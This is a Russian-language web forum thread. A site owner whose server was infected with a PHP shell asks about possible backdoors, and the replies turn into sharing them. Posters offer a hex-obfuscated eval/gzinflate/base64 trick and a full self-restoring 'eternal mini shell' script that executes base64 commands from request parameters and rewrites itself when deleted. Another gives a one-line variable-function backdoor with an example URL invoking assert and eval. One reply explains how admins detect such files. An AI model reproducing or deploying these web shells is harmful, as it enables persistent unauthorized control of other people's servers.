Оставить backdoor на php

Статус
В этой теме нельзя размещать новые ответы.

Otto

Постоялец
Регистрация
12 Май 2008
Сообщения
485
Реакции
161
На данный момент на личный сайт залили php шелку. Нашли удалили.
Подскажите какие варианты могут быть, для backdoor-ов, т.к. ещё раз могут пролится.
Спасибо.
 
Последнее редактирование:
Для просмотра ссылки Войди или Зарегистрируйся - Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах
Для просмотра ссылки Войди или Зарегистрируйся - PHP-шелл без единого буквенно-цифрового символа
Для просмотра ссылки Войди или Зарегистрируйся - Приемы неявного вызова php кода, применяемые во вредоносных скриптах
 
можно прикрыть eval(gzinflate(base64_decode( преобразовав в HEX :
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

таким образом получится неявное преобразование строки

в этом топике есть пример с самим шелом Для просмотра ссылки Войди или Зарегистрируйся :)
 
Последнее редактирование:
можно же просто использщовать php скрипт который будет загружать файл. при необходимости зашел. закачал шелл или ещё что иное, переложил в папку по дальше и вперед. потом удалил и так до следующего случая. никаких eval, gzinflate, base64 и прочих...
 
1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .

PHP:
<?php
error_reporting(0);
ignore_user_abort(1);
$name = basename(__FILE__);
$a = file_get_contents("$name"); 
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if ( isset($_REQUEST[cmd]) ) {
  eval(base64_decode($_REQUEST[cmd]));
  exit();
}
for($i=0;$i<=3;$i++) {
  if( $i == "1" ) {
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "2"){
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "3"){
    sleep(10);
    file_put_contents("$name",$a);

    $cur=curl_init();
    curl_setopt($cur, CURLOPT_URL, "$url");
    curl_setopt($cur, CURLOPT_TIMEOUT, 15);
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);
    curl_exec($cur);
    curl_close($cur);

    exit(); 
  } 
}
?>

вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))

если нужно будет залить полноценный шелл то пожалуйста, приписываем Для просмотра ссылки Войди или Зарегистрируйся вечного шелла.php?cmd=код для загрузки шелла в base64
 
Последнее редактирование модератором:
можно же просто использщовать php скрипт который будет загружать файл. при необходимости зашел. закачал шелл или ещё что иное, переложил в папку по дальше и вперед. потом удалил и так до следующего случая. никаких eval, gzinflate, base64 и прочих...

Полагаю этот способ настолько прост и логичен, что одним из первых приходит в голову и вряд ли стоило его постить, но разнообразия ради пусть остаётся.
Но соответсвенно у способа есть куча недостатков:
Метод палится даже неопытными php-шниками.
Элементарные скрипты типа проверки hashsum по файлам, отлавливают такое на ура.
Правильные инспекторы кода/веб-антивирусы показывают вызовы загрузки с внешнего сервера как предупреждения о возможной прорехи в безопасности, особенно когда файл загружается из глобальных переменных типа $_REQUEST.
Встречаются иногда правильно настроенные сервера, которые дают возможность загрузить файл в директории, где он может быть использован как php-скрипт только по ssh/ftp. Хотя, если есть возможность редактировать php файлы, способ можно модифицировать.

А вот неявные вызовы, интересны тем, что могут быть внедрены разработчиком и просто так не запалятся...

1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .
вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))
eval тут лишний - по нему файл в два счёта обнаружат.
Если eval откинуть обнаружить такой файл легко по логам apach/nginx/etc (слишком долго выполняется) или даже по логам падения этого скрипта по time_limit, если он меньше 30 секунд и это win.
Так что админ, который не может такое отследить, и не админ вовсе, а начинающий эникейшик :)
PHP программист и без вышеописанного уделит пристальное внимание функциям sleep, curl, file_get_contents, ignore_user_abort и error_reporting, а так же их вариациям, при анализе защиты.
 
Последнее редактирование:
1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .

PHP:
<?php
error_reporting(0);
ignore_user_abort(1);
$name = basename(__FILE__);
$a = file_get_contents("$name");
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if ( isset($_REQUEST[cmd]) ) {
  eval(base64_decode($_REQUEST[cmd]));
  exit();
}
for($i=0;$i<=3;$i++) {
  if( $i == "1" ) {
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "2"){
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "3"){
    sleep(10);
    file_put_contents("$name",$a);

    $cur=curl_init();
    curl_setopt($cur, CURLOPT_URL, "$url");
    curl_setopt($cur, CURLOPT_TIMEOUT, 15);
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);
    curl_exec($cur);
    curl_close($cur);

    exit();
  }
}
?>

вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))

если нужно будет залить полноценный шелл то пожалуйста, приписываем Для просмотра ссылки Войди или Зарегистрируйся вечного шелла.php?cmd=код для загрузки шелла в base64
По общей сложности окончательно удалить файл можно после последней записи, но с другой стороны sleep это системная функция и время на вызов и отработку системных функций не учитывается и она может быть хоть 3600, time_limit только для пользовательского кода, внутренние функции не учитываются.
 
Держи геморное решение, но его сложно обнаружить
Всего одна строка, скриптом не найдешь, беглым осмотром тоже врятли.
PHP:
$_REQUEST["key"]($_REQUEST["salt"]);
А вызывается
Код:
http://mysite/myshellpage.php?key=assert&salt=eval(base64_decode($_REQUEST["code"]));&code=cHJpbnQoIkl0cyBNeSBTaGVsbCIpOw

PHP:
 <?php
error_reporting(0);
ignore_user_abort(1);
$name = basename(__FILE__);
$a = file_get_contents("$name");
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if ( isset($_REQUEST[cmd]) ) {
  eval(base64_decode($_REQUEST[cmd]));
  exit();
}
for($i=0;$i<=3;$i++) {
  if( $i == "1" ) {
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "2"){
    file_put_contents("$name",$a);
    sleep(10);
  }elseif($i == "3"){
    sleep(10);
    file_put_contents("$name",$a);

    $cur=curl_init();
    curl_setopt($cur, CURLOPT_URL, "$url");
    curl_setopt($cur, CURLOPT_TIMEOUT, 15);
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);
    curl_exec($cur);
    curl_close($cur);

    exit();
  }
}
?>
Я не пытаюсь кого то обидеть, но этому коду месте на говнокоде Оо
А практического толка от него никакого, в логах будет просто уйма запросов к нему, только слепой не увидит
 
Последнее редактирование модератором:
Держи решение, но его сложно обнаружить
Этот и другие гораздо более продвинутые методы есть на хабре.

Я не пытаюсь кого то обидеть, но этому коду месте на говнокоде Оо
А практического толка от него никакого, в логах будет просто уйма запросов к нему, только слепой не увидит

Метод реализации, конечно не самый лучший, код можно было бы сократить.
Но как идея имеет право на жизнь - большинство начинающих вебмастеров даже при обнаружении не смогут его быстро удалить с хостинга, где нет прав на остановку сервера.
А догадаться поменять права доступа на файл (один из методов удаления заразы), для таких людей будет уже чуть сложнее :)
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху